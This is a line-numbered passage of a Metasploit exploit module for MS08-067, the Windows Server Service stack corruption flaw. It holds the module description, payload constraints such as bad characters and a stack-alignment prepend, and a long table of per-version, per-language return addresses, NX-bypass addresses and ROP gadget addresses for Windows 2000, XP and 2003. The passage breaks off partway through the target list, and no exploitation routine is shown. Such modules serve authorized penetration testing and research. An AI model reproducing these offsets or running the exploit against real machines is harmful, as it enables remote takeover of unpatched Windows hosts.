1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::SMB::Client
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption',
17
        'Description' => %q{
18
          This module exploits a parsing flaw in the path canonicalization code of
19
          NetAPI32.dll through the Server Service. This module is capable of bypassing
20
          NX on some operating systems and service packs. The correct target must be
21
          used to prevent the Server Service (along with a dozen others in the same
22
          process) from crashing. Windows XP targets seem to handle multiple successful
23
          exploitation events, but 2003 targets will often crash or hang on subsequent
24
          attempts. This is just the first version of this module, full support for
25
          NX bypass on 2003, along with other platforms, is still in development.
26
        },
27
        'Author' => [
28
          'hdm', # with tons of input/help/testing from the community
29
          'Brett Moore <brett.moore[at]insomniasec.com>',
30
          'frank2 <frank2[at]dc949.org>', # check() detection
31
          'jduck', # XP SP2/SP3 AlwaysOn DEP bypass
32
        ],
33
        'License' => MSF_LICENSE,
34
        'Notes' => {
35
          'AKA' => ['ECLIPSEDWING'],
36
          'Stability' => UNKNOWN_STABILITY,
37
          'Reliability' => UNKNOWN_RELIABILITY,
38
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
39
        },
40
        'References' => [
41
          %w(CVE 2008-4250),
42
          %w(OSVDB 49243),
43
          %w(MSB MS08-067),
44
          # If this vulnerability is found, ms08-67 is exposed as well
45
          ['URL', 'https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/']
46
        ],
47
        'DefaultOptions' => {
48
          'EXITFUNC' => 'thread',
49
        },
50
        'Privileged' => true,
51
        'Payload' => {
52
          'Space' => 408,
53
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
54
          'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
55
          'StackAdjustment' => -3500,
56

57
        },
58
        'Platform' => 'win',
59
        'DefaultTarget' => 0,
60
        'Targets' => [
61
          #
62
          # Automatic targetting via fingerprinting
63
          #
64
          ['Automatic Targeting', { 'auto' => true }],
65

66
          #
67
          # UNIVERSAL TARGETS
68
          #
69

70
          #
71
          # Antoine's universal for Windows 2000
72
          # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
73
          #
74
          [
75
            'Windows 2000 Universal',
76
            {
77
              'Ret' => 0x001f1cb0,
78
              'Scratch' => 0x00020408,
79
            }
80
          ], # JMP EDI SVCHOST.EXE
81

82
          #
83
          # Standard return-to-ESI without NX bypass
84
          # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
85
          #
86
          [
87
            'Windows XP SP0/SP1 Universal',
88
            {
89
              'Ret' => 0x01001361,
90
              'Scratch' => 0x00020408,
91
            }
92
          ], # JMP ESI SVCHOST.EXE
93

94
          # Standard return-to-ESI without NX bypass
95
          [
96
            'Windows 2003 SP0 Universal',
97
            {
98
              'Ret' => 0x0100129e,
99
              'Scratch' => 0x00020408,
100
            }
101
          ], # JMP ESI SVCHOST.EXE
102

103
          #
104
          # ENGLISH TARGETS
105
          #
106

107
          # jduck's AlwaysOn NX Bypass for XP SP2
108
          [
109
            'Windows XP SP2 English (AlwaysOn NX)',
110
            {
111
              # No pivot is needed, we drop into our rop
112
              'Scratch' => 0x00020408,
113
              'UseROP' => '5.1.2600.2180'
114
            }
115
          ],
116

117
          # Metasploit's NX bypass for XP SP2/SP3
118
          [
119
            'Windows XP SP2 English (NX)',
120
            {
121
              'Ret' => 0x6f88f727,
122
              'DisableNX' => 0x6f8916e2,
123
              'Scratch' => 0x00020408
124
            }
125
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
126

127
          # jduck's AlwaysOn NX Bypass for XP SP3
128
          [
129
            'Windows XP SP3 English (AlwaysOn NX)',
130
            {
131
              # No pivot is needed, we drop into our rop
132
              'Scratch' => 0x00020408,
133
              'UseROP' => '5.1.2600.5512'
134
            }
135
          ],
136

137
          # Metasploit's NX bypass for XP SP2/SP3
138
          [
139
            'Windows XP SP3 English (NX)',
140
            {
141
              'Ret' => 0x6f88f807,
142
              'DisableNX' => 0x6f8917c2,
143
              'Scratch' => 0x00020408
144
            }
145
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
146

147
          #
148
          # NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
149
          #
150

151
          # Metasploit's NX bypass for XP SP2/SP3
152
          [
153
            'Windows XP SP2 Arabic (NX)',
154
            {
155
              'Ret' => 0x6fd8f727,
156
              'DisableNX' => 0x6fd916e2,
157
              'Scratch' => 0x00020408
158
            }
159
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
160

161
          # Metasploit's NX bypass for XP SP2/SP3
162
          [
163
            'Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
164
            {
165
              'Ret' => 0x5860f727,
166
              'DisableNX' => 0x586116e2,
167
              'Scratch' => 0x00020408
168
            }
169
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
170

171
          # Metasploit's NX bypass for XP SP2/SP3
172
          [
173
            'Windows XP SP2 Chinese - Simplified (NX)',
174
            {
175
              'Ret' => 0x58fbf727,
176
              'DisableNX' => 0x58fc16e2,
177
              'Scratch' => 0x00020408
178
            }
179
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
180

181
          # Metasploit's NX bypass for XP SP2/SP3
182
          [
183
            'Windows XP SP2 Chinese - Traditional (NX)',
184
            {
185
              'Ret' => 0x5860f727,
186
              'DisableNX' => 0x586116e2,
187
              'Scratch' => 0x00020408
188
            }
189
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
190

191
          # Metasploit's NX bypass for XP SP2/SP3
192
          [
193
            'Windows XP SP2 Czech (NX)',
194
            {
195
              'Ret' => 0x6fe1f727,
196
              'DisableNX' => 0x6fe216e2,
197
              'Scratch' => 0x00020408
198
            }
199
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
200

201
          # Metasploit's NX bypass for XP SP2/SP3
202
          [
203
            'Windows XP SP2 Danish (NX)',
204
            {
205
              'Ret' => 0x5978f727,
206
              'DisableNX' => 0x597916e2,
207
              'Scratch' => 0x00020408
208
            }
209
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
210

211
          # Metasploit's NX bypass for XP SP2/SP3
212
          [
213
            'Windows XP SP2 German (NX)',
214
            {
215
              'Ret' => 0x6fd9f727,
216
              'DisableNX' => 0x6fda16e2,
217
              'Scratch' => 0x00020408
218
            }
219
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
220

221
          # Metasploit's NX bypass for XP SP2/SP3
222
          [
223
            'Windows XP SP2 Greek (NX)',
224
            {
225
              'Ret' => 0x592af727,
226
              'DisableNX' => 0x592b16e2,
227
              'Scratch' => 0x00020408
228
            }
229
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
230

231
          # Metasploit's NX bypass for XP SP2/SP3
232
          [
233
            'Windows XP SP2 Spanish (NX)',
234
            {
235
              'Ret' => 0x6fdbf727,
236
              'DisableNX' => 0x6fdc16e2,
237
              'Scratch' => 0x00020408
238
            }
239
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
240

241
          # Metasploit's NX bypass for XP SP2/SP3
242
          [
243
            'Windows XP SP2 Finnish (NX)',
244
            {
245
              'Ret' => 0x597df727,
246
              'DisableNX' => 0x597e16e2,
247
              'Scratch' => 0x00020408
248
            }
249
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
250

251
          # Metasploit's NX bypass for XP SP2/SP3
252
          [
253
            'Windows XP SP2 French (NX)',
254
            {
255
              'Ret' => 0x595bf727,
256
              'DisableNX' => 0x595c16e2,
257
              'Scratch' => 0x00020408
258
            }
259
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
260

261
          # Metasploit's NX bypass for XP SP2/SP3
262
          [
263
            'Windows XP SP2 Hebrew (NX)',
264
            {
265
              'Ret' => 0x5940f727,
266
              'DisableNX' => 0x594116e2,
267
              'Scratch' => 0x00020408
268
            }
269
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
270

271
          # Metasploit's NX bypass for XP SP2/SP3
272
          [
273
            'Windows XP SP2 Hungarian (NX)',
274
            {
275
              'Ret' => 0x5970f727,
276
              'DisableNX' => 0x597116e2,
277
              'Scratch' => 0x00020408
278
            }
279
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
280

281
          # Metasploit's NX bypass for XP SP2/SP3
282
          [
283
            'Windows XP SP2 Italian (NX)',
284
            {
285
              'Ret' => 0x596bf727,
286
              'DisableNX' => 0x596c16e2,
287
              'Scratch' => 0x00020408
288
            }
289
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
290

291
          # Metasploit's NX bypass for XP SP2/SP3
292
          [
293
            'Windows XP SP2 Japanese (NX)',
294
            {
295
              'Ret' => 0x567fd3be,
296
              'DisableNX' => 0x568016e2,
297
              'Scratch' => 0x00020408
298
            }
299
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
300

301
          # Metasploit's NX bypass for XP SP2/SP3
302
          [
303
            'Windows XP SP2 Korean (NX)',
304
            {
305
              'Ret' => 0x6fd6f727,
306
              'DisableNX' => 0x6fd716e2,
307
              'Scratch' => 0x00020408
308
            }
309
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
310

311
          # Metasploit's NX bypass for XP SP2/SP3
312
          [
313
            'Windows XP SP2 Dutch (NX)',
314
            {
315
              'Ret' => 0x596cf727,
316
              'DisableNX' => 0x596d16e2,
317
              'Scratch' => 0x00020408
318
            }
319
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
320

321
          # Metasploit's NX bypass for XP SP2/SP3
322
          [
323
            'Windows XP SP2 Norwegian (NX)',
324
            {
325
              'Ret' => 0x597cf727,
326
              'DisableNX' => 0x597d16e2,
327
              'Scratch' => 0x00020408
328
            }
329
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
330

331
          # Metasploit's NX bypass for XP SP2/SP3
332
          [
333
            'Windows XP SP2 Polish (NX)',
334
            {
335
              'Ret' => 0x5941f727,
336
              'DisableNX' => 0x594216e2,
337
              'Scratch' => 0x00020408
338
            }
339
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
340

341
          # Metasploit's NX bypass for XP SP2/SP3
342
          [
343
            'Windows XP SP2 Portuguese - Brazilian (NX)',
344
            {
345
              'Ret' => 0x596ff727,
346
              'DisableNX' => 0x597016e2,
347
              'Scratch' => 0x00020408
348
            }
349
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
350

351
          # Metasploit's NX bypass for XP SP2/SP3
352
          [
353
            'Windows XP SP2 Portuguese (NX)',
354
            {
355
              'Ret' => 0x596bf727,
356
              'DisableNX' => 0x596c16e2,
357
              'Scratch' => 0x00020408
358
            }
359
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
360

361
          # Metasploit's NX bypass for XP SP2/SP3
362
          [
363
            'Windows XP SP2 Russian (NX)',
364
            {
365
              'Ret' => 0x6fe1f727,
366
              'DisableNX' => 0x6fe216e2,
367
              'Scratch' => 0x00020408
368
            }
369
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
370

371
          # Metasploit's NX bypass for XP SP2/SP3
372
          [
373
            'Windows XP SP2 Swedish (NX)',
374
            {
375
              'Ret' => 0x597af727,
376
              'DisableNX' => 0x597b16e2,
377
              'Scratch' => 0x00020408
378
            }
379
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
380

381
          # Metasploit's NX bypass for XP SP2/SP3
382
          [
383
            'Windows XP SP2 Turkish (NX)',
384
            {
385
              'Ret' => 0x5a78f727,
386
              'DisableNX' => 0x5a7916e2,
387
              'Scratch' => 0x00020408
388
            }
389
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
390

391
          # Metasploit's NX bypass for XP SP2/SP3
392
          [
393
            'Windows XP SP3 Arabic (NX)',
394
            {
395
              'Ret' => 0x6fd8f807,
396
              'DisableNX' => 0x6fd917c2,
397
              'Scratch' => 0x00020408
398
            }
399
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
400

401
          # Metasploit's NX bypass for XP SP2/SP3
402
          [
403
            'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
404
            {
405
              'Ret' => 0x5860f807,
406
              'DisableNX' => 0x586117c2,
407
              'Scratch' => 0x00020408
408
            }
409
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
410

411
          # Metasploit's NX bypass for XP SP2/SP3
412
          [
413
            'Windows XP SP3 Chinese - Simplified (NX)',
414
            {
415
              'Ret' => 0x58fbf807,
416
              'DisableNX' => 0x58fc17c2,
417
              'Scratch' => 0x00020408
418
            }
419
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
420

421
          # Metasploit's NX bypass for XP SP2/SP3
422
          [
423
            'Windows XP SP3 Chinese - Traditional (NX)',
424
            {
425
              'Ret' => 0x5860f807,
426
              'DisableNX' => 0x586117c2,
427
              'Scratch' => 0x00020408
428
            }
429
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
430

431
          # Metasploit's NX bypass for XP SP2/SP3
432
          [
433
            'Windows XP SP3 Czech (NX)',
434
            {
435
              'Ret' => 0x6fe1f807,
436
              'DisableNX' => 0x6fe217c2,
437
              'Scratch' => 0x00020408
438
            }
439
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
440

441
          # Metasploit's NX bypass for XP SP2/SP3
442
          [
443
            'Windows XP SP3 Danish (NX)',
444
            {
445
              'Ret' => 0x5978f807,
446
              'DisableNX' => 0x597917c2,
447
              'Scratch' => 0x00020408
448
            }
449
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
450

451
          # Metasploit's NX bypass for XP SP2/SP3
452
          [
453
            'Windows XP SP3 German (NX)',
454
            {
455
              'Ret' => 0x6fd9f807,
456
              'DisableNX' => 0x6fda17c2,
457
              'Scratch' => 0x00020408
458
            }
459
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
460

461
          # Metasploit's NX bypass for XP SP2/SP3
462
          [
463
            'Windows XP SP3 Greek (NX)',
464
            {
465
              'Ret' => 0x592af807,
466
              'DisableNX' => 0x592b17c2,
467
              'Scratch' => 0x00020408
468
            }
469
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
470

471
          # Metasploit's NX bypass for XP SP2/SP3
472
          [
473
            'Windows XP SP3 Spanish (NX)',
474
            {
475
              'Ret' => 0x6fdbf807,
476
              'DisableNX' => 0x6fdc17c2,
477
              'Scratch' => 0x00020408
478
            }
479
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
480

481
          # Metasploit's NX bypass for XP SP2/SP3
482
          [
483
            'Windows XP SP3 Finnish (NX)',
484
            {
485
              'Ret' => 0x597df807,
486
              'DisableNX' => 0x597e17c2,
487
              'Scratch' => 0x00020408
488
            }
489
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
490

491
          # Metasploit's NX bypass for XP SP2/SP3
492
          [
493
            'Windows XP SP3 French (NX)',
494
            {
495
              'Ret' => 0x595bf807,
496
              'DisableNX' => 0x595c17c2,
497
              'Scratch' => 0x00020408
498
            }
499
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
500

501
          # Metasploit's NX bypass for XP SP2/SP3
502
          [
503
            'Windows XP SP3 Hebrew (NX)',
504
            {
505
              'Ret' => 0x5940f807,
506
              'DisableNX' => 0x594117c2,
507
              'Scratch' => 0x00020408
508
            }
509
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
510

511
          # Metasploit's NX bypass for XP SP2/SP3
512
          [
513
            'Windows XP SP3 Hungarian (NX)',
514
            {
515
              'Ret' => 0x5970f807,
516
              'DisableNX' => 0x597117c2,
517
              'Scratch' => 0x00020408
518
            }
519
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
520

521
          # Metasploit's NX bypass for XP SP2/SP3
522
          [
523
            'Windows XP SP3 Italian (NX)',
524
            {
525
              'Ret' => 0x596bf807,
526
              'DisableNX' => 0x596c17c2,
527
              'Scratch' => 0x00020408
528
            }
529
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
530

531
          # Metasploit's NX bypass for XP SP2/SP3
532
          [
533
            'Windows XP SP3 Japanese (NX)',
534
            {
535
              'Ret' => 0x567fd4d2,
536
              'DisableNX' => 0x568017c2,
537
              'Scratch' => 0x00020408
538
            }
539
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
540

541
          # Metasploit's NX bypass for XP SP2/SP3
542
          [
543
            'Windows XP SP3 Korean (NX)',
544
            {
545
              'Ret' => 0x6fd6f807,
546
              'DisableNX' => 0x6fd717c2,
547
              'Scratch' => 0x00020408
548
            }
549
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
550

551
          # Metasploit's NX bypass for XP SP2/SP3
552
          [
553
            'Windows XP SP3 Dutch (NX)',
554
            {
555
              'Ret' => 0x596cf807,
556
              'DisableNX' => 0x596d17c2,
557
              'Scratch' => 0x00020408
558
            }
559
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
560

561
          # Metasploit's NX bypass for XP SP2/SP3
562
          [
563
            'Windows XP SP3 Norwegian (NX)',
564
            {
565
              'Ret' => 0x597cf807,
566
              'DisableNX' => 0x597d17c2,
567
              'Scratch' => 0x00020408
568
            }
569
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
570

571
          # Metasploit's NX bypass for XP SP2/SP3
572
          [
573
            'Windows XP SP3 Polish (NX)',
574
            {
575
              'Ret' => 0x5941f807,
576
              'DisableNX' => 0x594217c2,
577
              'Scratch' => 0x00020408
578
            }
579
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
580

581
          # Metasploit's NX bypass for XP SP2/SP3
582
          [
583
            'Windows XP SP3 Portuguese - Brazilian (NX)',
584
            {
585
              'Ret' => 0x596ff807,
586
              'DisableNX' => 0x597017c2,
587
              'Scratch' => 0x00020408
588
            }
589
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
590

591
          # Metasploit's NX bypass for XP SP2/SP3
592
          [
593
            'Windows XP SP3 Portuguese (NX)',
594
            {
595
              'Ret' => 0x596bf807,
596
              'DisableNX' => 0x596c17c2,
597
              'Scratch' => 0x00020408
598
            }
599
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
600

601
          # Metasploit's NX bypass for XP SP2/SP3
602
          [
603
            'Windows XP SP3 Russian (NX)',
604
            {
605
              'Ret' => 0x6fe1f807,
606
              'DisableNX' => 0x6fe217c2,
607
              'Scratch' => 0x00020408
608
            }
609
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
610

611
          # Metasploit's NX bypass for XP SP2/SP3
612
          [
613
            'Windows XP SP3 Swedish (NX)',
614
            {
615
              'Ret' => 0x597af807,
616
              'DisableNX' => 0x597b17c2,
617
              'Scratch' => 0x00020408
618
            }
619
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
620

621
          # Metasploit's NX bypass for XP SP2/SP3
622
          [
623
            'Windows XP SP3 Turkish (NX)',
624
            {
625
              'Ret' => 0x5a78f807,
626
              'DisableNX' => 0x5a7917c2,
627
              'Scratch' => 0x00020408
628
            }
629
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
630

631
          #
632
          # Windows 2003 Targets
633
          #
634

635
          # Standard return-to-ESI without NX bypass
636
          [
637
            'Windows 2003 SP1 English (NO NX)',
638
            {
639
              'Ret' => 0x71bf21a2,
640
              'Scratch' => 0x00020408,
641
            }
642
          ], # JMP ESI WS2HELP.DLL
643

644
          # Brett Moore's crafty NX bypass for 2003 SP1
645
          [
646
            'Windows 2003 SP1 English (NX)',
647
            {
648
              'RetDec' => 0x7c90568c,  # dec ESI, ret @SHELL32.DLL
649
              'RetPop' => 0x7ca27cf4,  # push ESI, pop EBP, ret @SHELL32.DLL
650
              'JmpESP' => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
651
              'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
652
              'Scratch' => 0x00020408,
653
            }
654
          ],
655

656
          # Standard return-to-ESI without NX bypass
657
          [
658
            'Windows 2003 SP1 Japanese (NO NX)',
659
            {
660
              'Ret' => 0x71a921a2,
661
              'Scratch' => 0x00020408,
662
            }
663
          ], # JMP ESI WS2HELP.DLL
664

665
          # Standard return-to-ESI without NX bypass
666
          [
667
            'Windows 2003 SP1 Spanish (NO NX)',
668
            {
669
              'Ret' => 0x71ac21a2,
670
              'Scratch' => 0x00020408,
671
            }
672
          ], # JMP ESI WS2HELP.DLL
673

674
          # Brett Moore's crafty NX bypass for 2003 SP1
675
          [
676
            'Windows 2003 SP1 Spanish (NX)',
677
            {
678
              'RetDec' => 0x7c90568c,  # dec ESI, ret @SHELL32.DLL
679
              'RetPop' => 0x7ca27cf4,  # push ESI, pop EBP, ret @SHELL32.DLL
680
              'JmpESP' => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
681
              'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
682
              'Scratch' => 0x00020408,
683
            }
684
          ],
685
          # Standard return-to-ESI without NX bypass
686
          # Added by Omar MEZRAG - 0xFFFFFF
687
          [
688
            'Windows 2003 SP1 French (NO NX)',
689
            {
690
              'Ret' => 0x71ac1c40,
691
              'Scratch' => 0x00020408
692
            }
693
          ], # JMP ESI WS2HELP.DLL
694

695
          # Brett Moore's crafty NX bypass for 2003 SP1
696
          # Added by Omar MEZRAG - 0xFFFFFF
697
          [
698
            'Windows 2003 SP1 French (NX)',
699
            {
700
              'RetDec' => 0x7CA2568C,  # dec ESI, ret @SHELL32.DLL
701
              'RetPop' => 0x7CB47CF4,  # push ESI, pop EBP, ret 4 @SHELL32.DLL
702
              'JmpESP' => 0x7C98FED3,  # jmp ESP @NTDLL.DLL
703
              'DisableNX' => 0x7C95E413, # NX disable @NTDLL.DLL
704
              'Scratch' => 0x00020408
705
            }
706
          ],
707

708
          # Standard return-to-ESI without NX bypass
709
          [
710
            'Windows 2003 SP2 English (NO NX)',
711
            {
712
              'Ret' => 0x71bf3969,
713
              'Scratch' => 0x00020408,
714
            }
715
          ], # JMP ESI WS2HELP.DLL
716

717
          # Brett Moore's crafty NX bypass for 2003 SP2
718
          [
719
            'Windows 2003 SP2 English (NX)',
720
            {
721
              'RetDec' => 0x7c86beb8,  # dec ESI, ret @NTDLL.DLL
722
              'RetPop' => 0x7ca1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
723
              'JmpESP' => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
724
              'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
725
              'Scratch' => 0x00020408,
726
            }
727
          ],
728

729
          # Standard return-to-ESI without NX bypass
730
          [
731
            'Windows 2003 SP2 German (NO NX)',
732
            {
733
              'Ret' => 0x71a03969,
734
              'Scratch' => 0x00020408,
735
            }
736
          ], # JMP ESI WS2HELP.DLL
737

738
          # Brett Moore's crafty NX bypass for 2003 SP2
739
          [
740
            'Windows 2003 SP2 German (NX)',
741
            {
742
              'RetDec' => 0x7c98beb8,  # dec ESI, ret @NTDLL.DLL
743
              'RetPop' => 0x7cb3e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
744
              'JmpESP' => 0x7c98a01b,  # jmp ESP @NTDLL.DLL
745
              'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL
746
              'Scratch' => 0x00020408,
747
            }
748
          ],
749

750
          # Brett Moore's crafty NX bypass for 2003 SP2
751
          [
752
            'Windows 2003 SP2 Portuguese (NX)',
753
            {
754
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL OK
755
              'RetPop' => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL OK
756
              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL OK
757
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
758
              'Scratch' => 0x00020408,
759
            }
760
          ],
761

762
          # Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas)
763
          [
764
            'Windows 2003 SP2 Portuguese - Brazilian (NX)',
765
            {
766
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL OK
767
              'RetPop' => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL OK
768
              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL OK
769
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
770
              'Scratch' => 0x00020408,
771
            }
772
          ],
773

774
          # Standard return-to-ESI without NX bypass
775
          [
776
            'Windows 2003 SP2 Spanish (NO NX)',
777
            {
778
              'Ret' => 0x71ac3969,
779
              'Scratch' => 0x00020408,
780
            }
781
          ], # JMP ESI WS2HELP.DLL
782

783
          # Brett Moore's crafty NX bypass for 2003 SP2
784
          [
785
            'Windows 2003 SP2 Spanish (NX)',
786
            {
787
              'RetDec' => 0x7c86beb8,  # dec ESI, ret @NTDLL.DLL
788
              'RetPop' => 0x7ca1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
789
              'JmpESP' => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
790
              'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
791
              'Scratch' => 0x00020408,
792
            }
793
          ],
794

795
          # Standard return-to-ESI without NX bypass
796
          # Provided by Masashi Fujiwara
797
          [
798
            'Windows 2003 SP2 Japanese (NO NX)',
799
            {
800
              'Ret' => 0x71a91ed2,
801
              'Scratch' => 0x00020408
802
            }
803
          ], # JMP ESI WS2HELP.DLL
804

805
          # Standard return-to-ESI without NX bypass
806
          # Added by Omar MEZRAG - 0xFFFFFF
807
          [
808
            'Windows 2003 SP2 French (NO NX)',
809
            {
810
              'Ret' => 0x71AC2069,
811
              'Scratch' => 0x00020408
812
            }
813
          ], # CALL ESI WS2HELP.DLL
814

815
          # Brett Moore's crafty NX bypass for 2003 SP2
816
          # Added by Omar MEZRAG - 0xFFFFFF
817
          [
818
            'Windows 2003 SP2 French (NX)',
819
            {
820
              'RetDec' => 0x7C98BEB8,  # dec ESI, ret @NTDLL.DLL
821
              'RetPop' => 0x7CB3E84E,  # push ESI, pop EBP, ret @SHELL32.DLL
822
              'JmpESP' => 0x7C98A01B,  # jmp ESP @NTDLL.DLL
823
              'DisableNX' => 0x7C95F517, # NX disable @NTDLL.DLL
824
              'Scratch' => 0x00020408
825
            }
826
          ],
827

828
          # Brett Moore's crafty NX bypass for 2003 SP2
829
          [
830
            'Windows 2003 SP2 Chinese - Simplified (NX)',
831
            {
832
              'RetDec' => 0x7c99beb8,  # dec ESI, ret @NTDLL.DLL
833
              'RetPop' => 0x7cb5e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
834
              'JmpESP' => 0x7c99a01b,  # jmp ESP @NTDLL.DLL
835
              'DisableNX' => 0x7c96f517, # NX disable @NTDLL.DLL
836
              'Scratch' => 0x00020408,
837
            }
838
          ],
839

840
          # Brett Moore's crafty NX bypass for 2003 SP2
841
          [
842
            'Windows 2003 SP2 Czech (NX)',
843
            {
844
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
845
              'RetPop' => 0x7cb1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
846
              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
847
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
848
              'Scratch' => 0x00020408,
849
            }
850
          ],
851

852
          # Brett Moore's crafty NX bypass for 2003 SP2
853
          [
854
            'Windows 2003 SP2 Dutch (NX)',
855
            {
856
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
857
              'RetPop' => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
858
              'JmpESP' => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
859
              'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
860
              'Scratch' => 0x00020408,
861
            }
862
          ],
863

864
          # Brett Moore's crafty NX bypass for 2003 SP2
865
          [
866
            'Windows 2003 SP2 Hungarian (NX)',
867
            {
868
              'RetDec' => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
869
              'RetPop' => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
870
